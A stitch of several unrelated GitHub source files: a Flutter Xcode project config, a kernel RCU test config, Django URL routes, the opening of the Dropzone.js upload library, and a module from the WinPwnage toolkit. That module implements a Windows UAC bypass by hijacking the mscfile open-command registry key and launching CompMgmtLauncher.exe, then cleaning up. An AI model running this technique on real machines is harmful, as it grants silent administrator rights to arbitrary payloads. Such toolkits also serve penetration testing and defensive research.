CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; ENABLE_NS_ASSERTIONS = NO; ENABLE_STRICT_OBJC_MSGSEND = YES; GCC_C_LANGUAGE_STANDARD = gnu99; GCC_NO_COMMON_BLOCKS = YES; GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 8.0; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; SWIFT_OPTIMIZATION_LEVEL = "-Owholemodule"; TARGETED_DEVICE_FAMILY = "1,2"; VALIDATE_PRODUCT = YES; }; name = Release; }; 97C147061CF9000F007C117D /* Debug */ = { isa = XCBuildConfiguration; baseConfigurationReference = 9740EEB21CF90195004384FC /* Debug.xcconfig */; buildSettings = { ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CLANG_ENABLE_MODULES = YES; CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; ENABLE_BITCODE = NO; FRAMEWORK_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/Flutter", ); INFOPLIST_FILE = Runner/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; LIBRARY_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/Flutter", ); PRODUCT_BUNDLE_IDENTIFIER = de.mariushoefler.iconGenerator; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; SWIFT_VERSION = 4.0; VERSIONING_SYSTEM = "apple-generic"; }; name = Debug; }; 97C147071CF9000F007C117D /* Release */ = { isa = XCBuildConfiguration; baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */; buildSettings = { ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CLANG_ENABLE_MODULES = YES; CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; ENABLE_BITCODE = NO; FRAMEWORK_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/Flutter", ); INFOPLIST_FILE = Runner/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; LIBRARY_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/Flutter", ); PRODUCT_BUNDLE_IDENTIFIER = de.mariushoefler.iconGenerator; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; SWIFT_VERSION = 4.0; VERSIONING_SYSTEM = "apple-generic"; }; name = Release; }; /* End XCBuildConfiguration section */ /* Begin XCConfigurationList section */ 97C146E91CF9000F007C117D /* Build configuration list for PBXProject "Runner" */ = { isa = XCConfigurationList; buildConfigurations = ( 97C147031CF9000F007C117D /* Debug */, 97C147041CF9000F007C117D /* Release */, 249021D3217E4FDB00AE95B9 /* Profile */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; 97C147051CF9000F007C117D /* Build configuration list for PBXNativeTarget "Runner" */ = { isa = XCConfigurationList; buildConfigurations = ( 97C147061CF9000F007C117D /* Debug */, 97C147071CF9000F007C117D /* Release */, 249021D4217E4FDB00AE95B9 /* Profile */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; /* End XCConfigurationList section */ }; rootObject = 97C146E61CF9000F007C117D /* Project object */; }
{ "pile_set_name": "Github" }
CONFIG_SMP=n CONFIG_PREEMPT_NONE=y CONFIG_PREEMPT_VOLUNTARY=n CONFIG_PREEMPT=n #CHECK#CONFIG_TINY_SRCU=y CONFIG_RCU_TRACE=n CONFIG_DEBUG_LOCK_ALLOC=y CONFIG_PROVE_LOCKING=y CONFIG_DEBUG_OBJECTS_RCU_HEAD=n CONFIG_PREEMPT_COUNT=n
{ "pile_set_name": "Github" }
#coding=utf-8 # coding=utf-8 ''' Created on 2014-1-5 @author: ETHAN ''' from django.conf.urls import patterns,url from teamvision.automationtesting.views.automationtaskview import create_add from teamvision.automationtesting.views.automationtaskview import update_edit from teamvision.automationtesting.views.automationtaskview import index_list from teamvision.automationtesting.views.automationtaskview import get_list from teamvision.automationtesting.views.commonview import loadleftnavigater from teamvision.automationtesting.views.automationtaskview import get_mylist urlpatterns = patterns(r"automationtask/automationtask",url(r"create",create_add),url(r"edit",update_edit) ,url(r"index",index_list),url(r"gettasklist",get_list), url(r"getleftnavigater",loadleftnavigater), url(r"getmytasklist",get_mylist) )
{ "pile_set_name": "Github" }
from winpwnage.core.prints import * from winpwnage.core.utils import * import time import os uacMethod9_info = { "Description": "UAC bypass using compmgmtlauncher.exe", "Method": "Registry key (Class) manipulation", "Id": "9", "Type": "UAC bypass", "Fixed In": "15031" if not information().uac_level() == 4 else "0", "Works From": "7600", "Admin": False, "Function Name": "uacMethod9", "Function Payload": True, } def uacMethod9_cleanup(path): print_info("Performing cleaning") if registry().remove_key(hkey="hkcu", path=path, name=None, delete_key=True): print_success("Successfully cleaned up") print_success("All done!") else: print_error("Unable to cleanup") return False def uacMethod9(payload): if payloads().exe(payload): path = "Software\\Classes\\mscfile\\shell\\open\\command" if registry().modify_key(hkey="hkcu", path=path, name=None, value=payloads().exe(payload)[1], create=True): print_success("Successfully created Default key containing payload ({payload})".format(payload=os.path.join(payloads().exe(payload)[1]))) else: print_error("Unable to create registry keys") return False time.sleep(5) print_info("Disabling file system redirection") with disable_fsr(): print_success("Successfully disabled file system redirection") if process().create("CompMgmtLauncher.exe"): print_success("Successfully spawned process ({})".format(os.path.join(payloads().exe(payload)[1]))) time.sleep(5) uacMethod9_cleanup(path) else: print_error("Unable to spawn process ({})".format(os.path.join(payloads().exe(payload)[1]))) for x in Constant.output: if "error" in x: uacMethod9_cleanup(path) return False else: print_error("Cannot proceed, invalid payload") return False
{ "pile_set_name": "Github" }
/* * * More info at [www.dropzonejs.com](http://www.dropzonejs.com) * * Copyright (c) 2012, Matias Meno * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * */ (function() { var Dropzone, Emitter, ExifRestore, camelize, contentLoaded, detectVerticalSquash, drawImageIOSFix, noop, without, slice = [].slice, extend1 = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, hasProp = {}.hasOwnProperty; noop = function() {}; Emitter = (function() { function Emitter() {} Emitter.prototype.addEventListener = Emitter.prototype.on; Emitter.prototype.on = function(event, fn) { this._callbacks = this._callbacks || {}; if (!this._callbacks[event]) { this._callbacks[event] = []; } this._callbacks[event].push(fn); return this; }; Emitter.prototype.emit = function() { var args, callback, callbacks, event, j, len; event = arguments[0], args = 2 <= arguments.length ? slice.call(arguments, 1) : []; this._callbacks = this._callbacks || {}; callbacks = this._callbacks[event]; if (callbacks) { for (j = 0, len = callbacks.length; j < len; j++) { callback = callbacks[j]; callback.apply(this, args); } } return this; }; Emitter.prototype.removeListener = Emitter.prototype.off; Emitter.prototype.removeAllListeners = Emitter.prototype.off; Emitter.prototype.removeEventListener = Emitter.prototype.off; Emitter.prototype.off = function(event, fn) { var callback, callbacks, i, j, len; if (!this._callbacks || arguments.length === 0) { this._callbacks = {}; return this; } callbacks = this._callbacks[event]; if (!callbacks) { return this; } if (arguments.length === 1) { delete this._callbacks[event]; return this; } for (i = j = 0, len = callbacks.length; j < len; i = ++j) { callback = callbacks[i]; if (callback === fn) { callbacks.splice(i, 1); break; } } return this; }; return Emitter; })(); Dropzone = (function(superClass) { var extend, resolveOption; extend1(Dropzone, superClass); Dropzone.prototype.Emitter = Emitter; /* This is a list of all available events you can register on a dropzone object. You can register an event handler like this: dropzone.on("dragEnter", function() { }); */ Dropzone.prototype.events = ["drop", "dragstart", "dragend", "dragenter", "dragover", "dragleave", "addedfile", "addedfiles", "removedfile", "thumbnail", "error", "errormultiple", "processing", "processingmultiple", "uploadprogress", "totaluploadprogress", "sending", "sendingmultiple", "success", "successmultiple", "canceled", "canceledmultiple", "complete", "completemultiple", "reset", "maxfilesexceeded", "maxfilesreached", "queuecomplete"]; Dropzone.prototype.defaultOptions = { url: null, method: "post", withCredentials: false, timeout: 30000, parallelUploads: 2, uploadMultiple: false, maxFilesize: 256, paramName: "file", createImageThumbnails: true, maxThumbnailFilesize: 10, thumbnailWidth: 120, thumbnailHeight: 120, thumbnailMethod: 'crop', resizeWidth: null, resizeHeight: null, resizeMimeType: null, resizeQuality: 0.8, resizeMethod: 'contain', filesizeBase: 1000, maxFiles: null, params: {}, headers: null, clickable: true, ignoreHiddenFiles: true, acceptedFiles: null, acceptedMimeTypes: null, autoProcessQueue: true, autoQueue: true, addRemoveLinks: false, previewsContainer: null, hiddenInputContainer: "body", capture: null, renameFilename: null, renameFile: null, forceFallback: false, dictDefaultMessage: "Drop files here to upload", dictFallbackMessage: "Your browser does not support drag'n'drop file uploads.", dictFallbackText: "Please use the fallback form below to upload your files like in the olden days.", dictFileTooBig: "File is too big ({{filesize}}MiB). Max filesize: {{maxFilesize}}MiB.", dictInvalidFileType: "You can't upload files of this type.", dictResponseError: "Server responded with {{statusCode}} code.", dictCancelUpload: "Cancel upload", dictCancelUploadConfirmation: "Are you sure you want to cancel this upload?", dictRemoveFile: "Remove file", dictRemoveFileConfirmation: null, dictMaxFilesExceeded: "You can not upload any more files.", dictFileSizeUnits: { tb: "TB", gb: "GB", mb: "MB", kb: "KB", b: "b" }, init: function() { return noop; }, accept: function(file, done) { return done(); }, fallback: function() { var child, j, len, messageElement, ref, span; this.element.className = this.element.className + " dz-browser-not-supported"; ref = this.element.getElementsByTagName("div"); for (j = 0, len = ref.length; j < len; j++) { child = ref[j]; if (/(^| )dz-message($| )/.test(child.className)) { messageElement = child; child.className = "dz-message"; continue; } } if (!messageElement) { messageElement = Dropzone.createElement("<div class=\"dz-message\"><span></span></div>"); this.element.appendChild(messageElement); } span = messageElement.getElementsByTagName("span")[0]; if (span) { if (span.textContent != null) { span.textContent = this.options.dictFallbackMessage; } else if (span.innerText != null) { span.innerText = this.options.dictFallbackMessage; } } return this.element.appendChild(this.getFallbackForm()); }, resize: function(file, width, height, resizeMethod) { var info, srcRatio, trgRatio; info = { srcX: 0, srcY: 0, srcWidth: file.width, srcHeight: file.height }; srcRatio = file.width / file.height; if ((width == null) && (height == null)) { width = info.srcWidth; height = info.srcHeight; } else if (width == null) { width = height * srcRatio; } else if (height == null) { height = width / srcRatio; } width = Math.min(width, info.srcWidth); height = Math.min(height, info.srcHeight); trgRatio = width / height; if (info.srcWidth > width || info.srcHeight > height) { if (resizeMethod === 'crop') { if (srcRatio > trgRatio) { info.srcHeight = file.height; info.srcWidth = info.srcHeight * trgRatio; } else { info.srcWidth = file.width; info.srcHeight = info.srcWidth / trgRatio; } } else if (resizeMethod === 'contain') { if (srcRatio > trgRatio) { height = width / srcRatio; } else { width = height * srcRatio; } } else { throw new Error("Unknown resizeMethod '" + resizeMethod + "'"); } } info.srcX = (file.width - info.srcWidth) / 2; info.srcY = (file.height - info.srcHeight) / 2; info.trgWidth = width; info.trgHeight = height; return info; }, transformFile: function(file, done) { if ((this.options.resizeWidth || this.options.resizeHeight) && file.type.match(/image.*/)) { return this.resizeImage(file, this.options.resizeWidth, this.options.resizeHeight, this.options.resizeMethod, done); } else { return done(file); } }, previewTemplate: "<div class=\"dz-preview dz-file-preview\">\n <div class=\"dz-image\"><img data-dz-thumbnail /></div>\n <div class=\"dz-details\">\n <div class=\"dz-size\"><span data-dz-size></span></div>\n <div class=\"dz-filename\"><span data-dz-name></span></div>\n </div>\n <div class=\"dz-progress\"><span class=\"dz-upload\" data-dz-uploadprogress></span></div>\n <div class=\"dz-error-message\"><span data-dz-errormessage></span></div>\n <div class=\"dz-success-mark\">\n <svg width=\"54px\" height=\"54px\" viewBox=\"0 0 54 54\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n <title>Check</title>\n <defs></defs>\n <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n <path d=\"M23.5,31.8431458 L17.5852419,25.9283877 C16.0248253,24.3679711 13.4910294,24.366835 11.9289322,25.9289322 C10.3700136,27.4878508 10.3665912,30.0234455 11.9283877,31.5852419 L20.4147581,40.0716123 C20.5133999,40.1702541 20.6159315,40.2626649 20.7218615,40.3488435 C22.2835669,41.8725651 24.794234,41.8626202 26.3461564,40.3106978 L43.3106978,23.3461564 C44.8771021,21.7797521 44.8758057,19.2483887 43.3137085,17.6862915 C41.7547899,16.1273729 39.2176035,16.1255422 37.6538436,17.6893022 L23.5,31.8431458 Z M27,53 C41.3594035,53 53,41.3594035 53,27 C53,12.6405965 41.3594035,1 27,1 C12.6405965,1 1,12.6405965 1,27 C1,41.3594035 12.6405965,53 27,53 Z\" id=\"Oval-2\" stroke-opacity=\"0.198794158\" stroke=\"#747474\" fill-opacity=\"0.816519475\" fill=\"#FFFFFF\" sketch:type=\"MSShapeGroup\"></path>\n </g>\n </svg>\n </div>\n <div class=\"dz-error-mark\">\n <svg width=\"54px\" height=\"54px\" viewBox=\"0 0 54 54\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n <title>Error</title>\n <defs></defs>\n <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n <g id=\"Check-+-Oval-2\" sketch:type=\"MSLayerGroup\" stroke=\"#747474\" stroke-opacity=\"0.198794158\" fill=\"#FFFFFF\" fill-opacity=\"0.816519475\">\n <path d=\"M32.6568542,29 L38.3106978,23.3461564 C39.8771021,21.7797521 39.8758057,19.2483887 38.3137085,17.6862915 C36.7547899,16.1273729 34.2176035,16.1255422 32.6538436,17.6893022 L27,23.3431458 L21.3461564,17.6893022 C19.7823965,16.1255422 17.2452101,16.1273729 15.6862915,17.6862915 C14.1241943,19.2483887 14.1228979,21.7797521 15.6893022,23.3461564 L21.3431458,29 L15.6893022,34.6538436 C14.1228979,36.2202479 14.1241943,38.7516113 15.6862915,40.3137085 C17.2452101,41.8726271 19.7823965,41.8744578 21.3461564,40.3106978 L27,34.6568542 L32.6538436,40.3106978 C34.2176035,41.8744578 36.7547899,41.8726271 38.3137085,40.3137085 C39.8758057,38.7516113 39.8771021,36.2202479 38.3106978,34.6538436 L32.6568542,29 Z M27,53 C41.3594035,53 53,41.3594035 53,27 C53,12.6405965 41.3594035,1 27,1 C12.6405965,1 1,12.6405965 1,27 C1,41.3594035 12.6405965,53 27,53 Z\" id=\"Oval-2\" sketch:type=\"MSShapeGroup\"></path>\n </g>\n </g>\n </svg>\n </div>\n</div>", /* Those functions register themselves to the events on init and handle all the user interface specific stuff. Overwriting them won't break the upload but can break the way it's displayed. You can overwrite them if you don't like the default behavior. If you just want to add an additional event handler, register it on the dropzone object and don't overwrite those options. */ drop: function(e) { return this.element.classList.remove("dz-drag-hover"); }, dragstart: noop, dragend: function(e) { return this.element.classList.remove("dz-drag-hover"); }, dragenter: function(e) { return this.element.classList.add("dz-drag-hover"); }, dragover: function(e) { return this.element.classList.add("dz-drag-hover"); }, dragleave: function(e) { return this.element.classList.remove("dz-drag-hover"); }, paste: noop, reset: function() { return this.element.classList.remove("dz-started"); }, addedfile: function(file) { var j, k, l, len, len1, len2, node, ref, ref1, ref2, removeFileEvent, removeLink, results; if (this.element === this.previewsContainer) { this.element.classList.add("dz-started"); } if (this.previewsContainer) { file.previewElement = Dropzone.createElement(this.options.previewTemplate.trim()); file.previewTemplate = file.previewElement; this.previewsContainer.appendChild(file.previewElement); ref = file.previewElement.querySelectorAll("[data-dz-name]"); for (j = 0, len = ref.length; j < len; j++) { node = ref[j]; node.textContent = file.name; } ref1 = file.previewElement.querySelectorAll("[data-dz-size]"); for (k = 0, len1 = ref1.length; k < len1; k++) { node = ref1[k]; node.innerHTML = this.filesize(file.size); } if (this.options.addRemoveLinks) { file._removeLink = Dropzone.createElement("<a class=\"dz-remove\" href=\"javascript:undefined;\" data-dz-remove>" + this.options.dictRemoveFile + "</a>"); file.previewElement.appendChild(file._removeLink); } removeFileEvent = (function(_this) { return function(e) { e.preventDefault(); e.stopPropagation(); if (file.status === Dropzone.UPLOADING) { return Dropzone.confirm(_this.options.dictCancelUploadConfirmation, function() { return _this.removeFile(file); }); } else { if (_this.options.dictRemoveFileConfirmation) { return Dropzone.confirm(_this.options.dictRemoveFileConfirmation, function() { return _this.removeFile(file); }); } else { return _this.removeFile(file); } } }; })(this); ref2 = file.previewElement.querySelectorAll("[data-dz-remove]"); results = []; for (l = 0, len2 = ref2.length; l < len2; l++) { removeLink = ref2[l]; results.push(removeLink.addEventListener("click", removeFileEvent)); } return results; } }, removedfile: function(file) { var ref; if (file.previewElement) { if ((ref = file.previewElement) != null) { ref.parentNode.removeChild(file.previewElement); } } return this._updateMaxFilesReachedClass(); }, thumbnail: function(file, dataUrl) { var j, len, ref, thumbnailElement; if (file.previewElement) { file.previewElement.classList.remove("dz-file-preview"); ref = file.previewElement.querySelectorAll("[data-dz-thumbnail]"); for (j = 0, len = ref.length; j < len; j++) { thumbnailElement = ref[j]; thumbnailElement.alt = file.name; thumbnailElement.src = dataUrl; } return setTimeout(((function(_this) { return function() { return file.previewElement.classList.add("dz-image-preview"); }; })(this)), 1); } }, error: function(file, message) { var j, len, node, ref, results; if (file.previewElement) { file.previewElement.classList.add("dz-error"); if (typeof message !== "String" && message.error) { message = message.error; } ref = file.previewElement.querySelectorAll("[data-dz-errormessage]"); results = []; for (j = 0, len = ref.length; j < len; j++) { node = ref[j]; results.push(node.textContent = message); } return results; } }, errormultiple: noop, processing: function(file) { if (file.previewElement) { file.previewElement.classList.add("dz-processing"); if (file._removeLink) { return file._removeLink.textContent = this.options.dictCancelUpload; } } }, processingmultiple: noop, uploadprogress: function(file, progress, bytesSent) { var j, len, node, ref, results; if (file.previewElement) { ref = file.previewElement.querySelectorAll("[data-dz-uploadprogress]"); results = []; for (j = 0, len = ref.length; j < len; j++) { node = ref[j]; if (node.nodeName === 'PROGRESS') { results.push(node.value = progress); } else { results.push(node.style.width = progress + "%"); } } return results; } }, totaluploadprogress: noop, sending: noop, sendingmultiple: noop, success: function(file) { if (file.previewElement) { return file.previewElement.classList.add("dz-success"); } }, successmultiple: noop, canceled: function(file) { return this.emit("error", file, "Upload canceled."); }, canceledmultiple: noop, complete: function(file) { if (file._removeLink) { file._removeLink.textContent = this.options.dictRemoveFile; } if (file.previewElement) { return file.previewElement.classList.add("dz-complete"); } }, completemultiple: noop, maxfilesexceeded: noop, maxfilesreached: noop, queuecomplete: noop, addedfiles: noop }; extend = function() { var j, key, len, object, objects, target, val; target = arguments[0], objects = 2 <= arguments.length ? slice.call(arguments, 1) : []; for (j = 0, len = objects.length; j < len; j++) { object = objects[j]; for (key in object) { val = object[key]; target[key] = val; } } return target; }; function Dropzone(element1, options) { var elementOptions, fallback, ref; this.element = element1; this.version = Dropzone.version; this.defaultOptions.previewTemplate = this.defaultOptions.previewTemplate.replace(/\n*/g, ""); this.clickableElements = []; this.listeners = []; this.files = []; if (typeof this.element === "string") { this.element = document.querySelector(this.element); } if (!(this.element && (this.element.nodeType != null))) { throw new Error("Invalid dropzone element."); } if (this.element.dropzone) { throw new Error("Dropzone already attached."); } Dropzone.instances.push(this); this.element.dropzone = this; elementOptions = (ref = Dropzone.optionsForElement(this.element)) != null ? ref : {}; this.options = extend({}, this.defaultOptions, elementOptions, options != null ? options : {}); if (this.options.forceFallback || !Dropzone.isBrowserSupported()) { return this.options.fallback.call(this); } if (this.options.url == null) { this.options.url = this.element.getAttribute("action"); } if (!this.options.url) { throw new Error("No URL provided."); } if (this.options.acceptedFiles && this.options.acceptedMimeTypes) { throw new Error("You can't provide both 'acceptedFiles' and 'acceptedMimeTypes'. 'acceptedMimeTypes' is deprecated."); } if (this.options.acceptedMimeTypes) { this.options.acceptedFiles = this.options.acceptedMimeTypes; delete this.options.acceptedMimeTypes; } if (this.options.renameFilename != null) { this.options.renameFile = (function(_this) { return function(file) { return _this.options.renameFilename.call(_this, file.name, file); }; })(this); } this.options.method = this.options.method.toUpperCase(); if ((fallback = this.getExistingFallback()) && fallback.parentNode) { fallback.parentNode.removeChild(fallback); } if (this.options.previewsContainer !== false) { if (this.options.previewsContainer) { this.previewsContainer = Dropzone.getElement(this.options.previewsContainer, "previewsContainer"); } else { this.previewsContainer = this.element; } } if (this.options.clickable) { if (this.options.clickable === true) { this.clickableElements = [this.element]; } else { this.clickableElements = Dropzone.getElements(this.options.clickable, "clickable"); } } this.init(); } Dropzone.prototype.getAcceptedFiles = function() { var file, j, len, ref, results; ref = this.files; results = []; for (j = 0, len = ref.length; j < len; j++) { file = ref[j]; if (file.accepted) { results.push(file); } } return results; }; Dropzone.prototype.getRejectedFiles = function() { var file, j, len, ref, results; ref = this.files; results = []; for (j = 0, len = ref.length; j < len; j++) { file = ref[j]; if (!file.accepted) { results.push(file); } } return results; }; Dropzone.prototype.getFilesWithStatus = function(status) { var file, j, len, ref, results; ref = this.files; results = []; for (j = 0, len = ref.length; j < len; j++) { file = ref[j]; if (file.status === status) { results.push(file); } } return results; }; Dropzone.prototype.getQueuedFiles = function() { return this.getFilesWithStatus(Dropzone.QUEUED); }; Dropzone.prototype.getUploadingFiles = function() { return this.getFilesWithStatus(Dropzone.UPLOADING); }; Dropzone.prototype.getAddedFiles = function() { return this.getFilesWithStatus(Dropzone.ADDED); }; Dropzone.prototype.getActiveFiles = function() { var file, j, len, ref, results; ref = this.files; results = []; for (j = 0, len = ref.length; j < len; j++) { file = ref[j]; if (file.status === Dropzone.UPLOADING || file.status === Dropzone.QUEUED) { results.push(file); } } return results; }; Dropzone.prototype.init = function() { var eventName, j, len, noPropagation, ref, ref1, setupHiddenFileInput; if (this.element.tagName === "form") { this.element.setAttribute("enctype", "multipart/form-data"); } if (this.element.classList.contains("dropzone") && !this.element.querySelector(".dz-message")) { this.element.appendChild(Dropzone.createElement("<div class=\"dz-default dz-message\"><span>" + this.options.dictDefaultMessage + "</span></div>")); } if (this.clickableElements.length) { setupHiddenFileInput = (function(_this) { return function() { if (_this.hiddenFileInput) { _this.hiddenFileInput.parentNode.removeChild(_this.hiddenFileInput); } _this.hiddenFileInput = document.createElement("input"); _this.hiddenFileInput.setAttribute("type", "file"); if ((_this.options.maxFiles == null) || _this.options.maxFiles > 1) { _this.hiddenFileInput.setAttribute("multiple", "multiple"); } _this.hiddenFileInput.className = "dz-hidden-input"; if (_this.options.acceptedFiles != null) { _this.hiddenFileInput.setAttribute("accept", _this.options.acceptedFiles); } if (_this.options.capture != null) { _this.hiddenFileInput.setAttribute("capture", _this.options.capture); } _this.hiddenFileInput.style.visibility = "hidden"; _this.hiddenFileInput.style.position = "absolute"; _this.hiddenFileInput.style.top = "0"; _this.hiddenFileInput.style.left = "0"; _this.hiddenFileInput.style.height = "0"; _this.hiddenFileInput.style.width = "0"; document.querySelector(_this.options.hiddenInputContainer).appendChild(_this.hiddenFileInput); return _this.hiddenFileInput.addEventListener("change", function() { var file, files, j, len; files = _this.hiddenFileInput.files; if (files.length) { for (j = 0, len = files.length; j < len; j++) { file = files[j]; _this.addFile(file); } } _this.emit("addedfiles", files); return setupHiddenFileInput(); }); }; })(this); setupHiddenFileInput(); } this.URL = (ref = window.URL) != null ? ref : window.webkitURL; ref1 = this.events; for (j = 0, len = ref1.length; j < len; j++) { eventName = ref1[j]; this.on(eventName, this.options[eventName]); } this.on("uploadprogress", (function(_this) { return function() { return _this.updateTotalUploadProgress(); }; })(this)); this.on("removedfile", (function(_this) { return function() { return _this.updateTotalUploadProgress(); }; })(this)); this.on("canceled", (function(_this) { return function(file) { return _this.emit("complete", file); }; })(this)); this.on("complete", (function(_this) { return function(file) { if (_this.getAddedFiles().length === 0 && _this.getUploadingFiles().length === 0 && _this.getQueuedFiles().length === 0) { return setTimeout((function() { return _this.emit("queuecomplete"); }), 0); } }; })(this)); noPropagation = function(e) { e.stopPropagation(); if (e.preventDefault) { return e.preventDefault(); } else { return e.returnValue = false; } }; this.listeners = [ { element: this.element, events: { "dragstart": (function(_this) { return function(e) { return _this.emit("dragstart", e); }; })(this), "dragenter": (function(_this) { return function(e) { noPropagation(e); return _this.emit("dragenter", e); }; })(this), "dragover": (function(_this) { return function(e) { var efct; try { efct = e.dataTransfer.effectAllowed; } catch (undefined) {} e.dataTransfer.dropEffect = 'move' === efct || 'linkMove' === efct ? 'move' : 'copy'; noPropagation(e); return _this.emit("dragover", e); }; })(this), "dragleave": (function(_this) { return function(e) { return _this.emit("dragleave", e); }; })(this), "drop": (function(_this) { return function(e) { noPropagation(e); return _this.drop(e); }; })(this), "dragend": (function(_this) { return function(e) { return _this.emit("dragend", e); }; })(this) } } ]; this.clickableElements.forEach((function(_this) { return function(clickableElement) { return _this.listeners.push({ element: clickableElement, events: { "click": function(evt) { if ((clickableElement !== _this.element) || (evt.target === _this.element || Dropzone.elementInside(evt.target, _this.element.querySelector(".dz-message")))) { _this.hiddenFileInput.click(); } return true; } } }); }; })(this)); this.enable(); return this.options.init.call(this); }; Dropzone.prototype.destroy = function() { var ref; this.disable(); this.removeAllFiles(true); if ((ref = this.hiddenFileInput) != null ? ref.parentNode : void 0) { this.hiddenFileInput.parentNode.removeChild(this.hiddenFileInput); this.hiddenFileInput = null; } delete this.element.dropzone; return Dropzone.instances.splice(Dropzone.instances.indexOf(this), 1); }; Dropzone.prototype.updateTotalUploadProgress = function() { var activeFiles, file, j, len, ref, totalBytes, totalBytesSent, totalUploadProgress; totalBytesSent = 0; totalBytes = 0; activeFiles = this.getActiveFiles(); if (activeFiles.length) { ref = this.getActiveFiles(); for (j = 0, len = ref.length; j < len; j++) { file = ref[j]; totalBytesSent += file.upload.bytesSent; totalBytes += file.upload.total; } totalUploadProgress = 100 * totalBytesSent / totalBytes; } else { totalUploadProgress = 100; } return this.emit("totaluploadprogress", totalUploadProgress, totalBytes, totalBytesSent); }; Dropzone.prototype._getParamName = function(n) { if (typeof this.options.paramName === "function") { return this.options.paramName(n); } else { return "" + this.options.paramName + (this.options.uploadMultiple ? "[" + n + "]" : ""); } }; Dropzone.prototype._renameFile = function(file) { if (typeof this.options.renameFile !== "function") { return file.name; } return this.options.renameFile(file); }; Dropzone.prototype.getFallbackForm = function() { var existingFallback, fields, fieldsString, form; if (existingFallback = this.getExistingFallback()) { return existingFallback; } fieldsString = "<div class=\"dz-fallback\">"; if (this.options.dictFallbackText) { fieldsString += "<p>" + this.options.dictFallbackText + "</p>"; } fieldsString += "<input type=\"file\" name=\"" + (this._getParamName(0)) + "\" " + (this.options.uploadMultiple ? 'multiple="multiple"' : void 0) + " /><input type=\"submit\" value=\"Upload!\"></div>"; fields = Dropzone.createElement(fieldsString); if (this.element.tagName !== "FORM") { form = Dropzone.createElement("<form 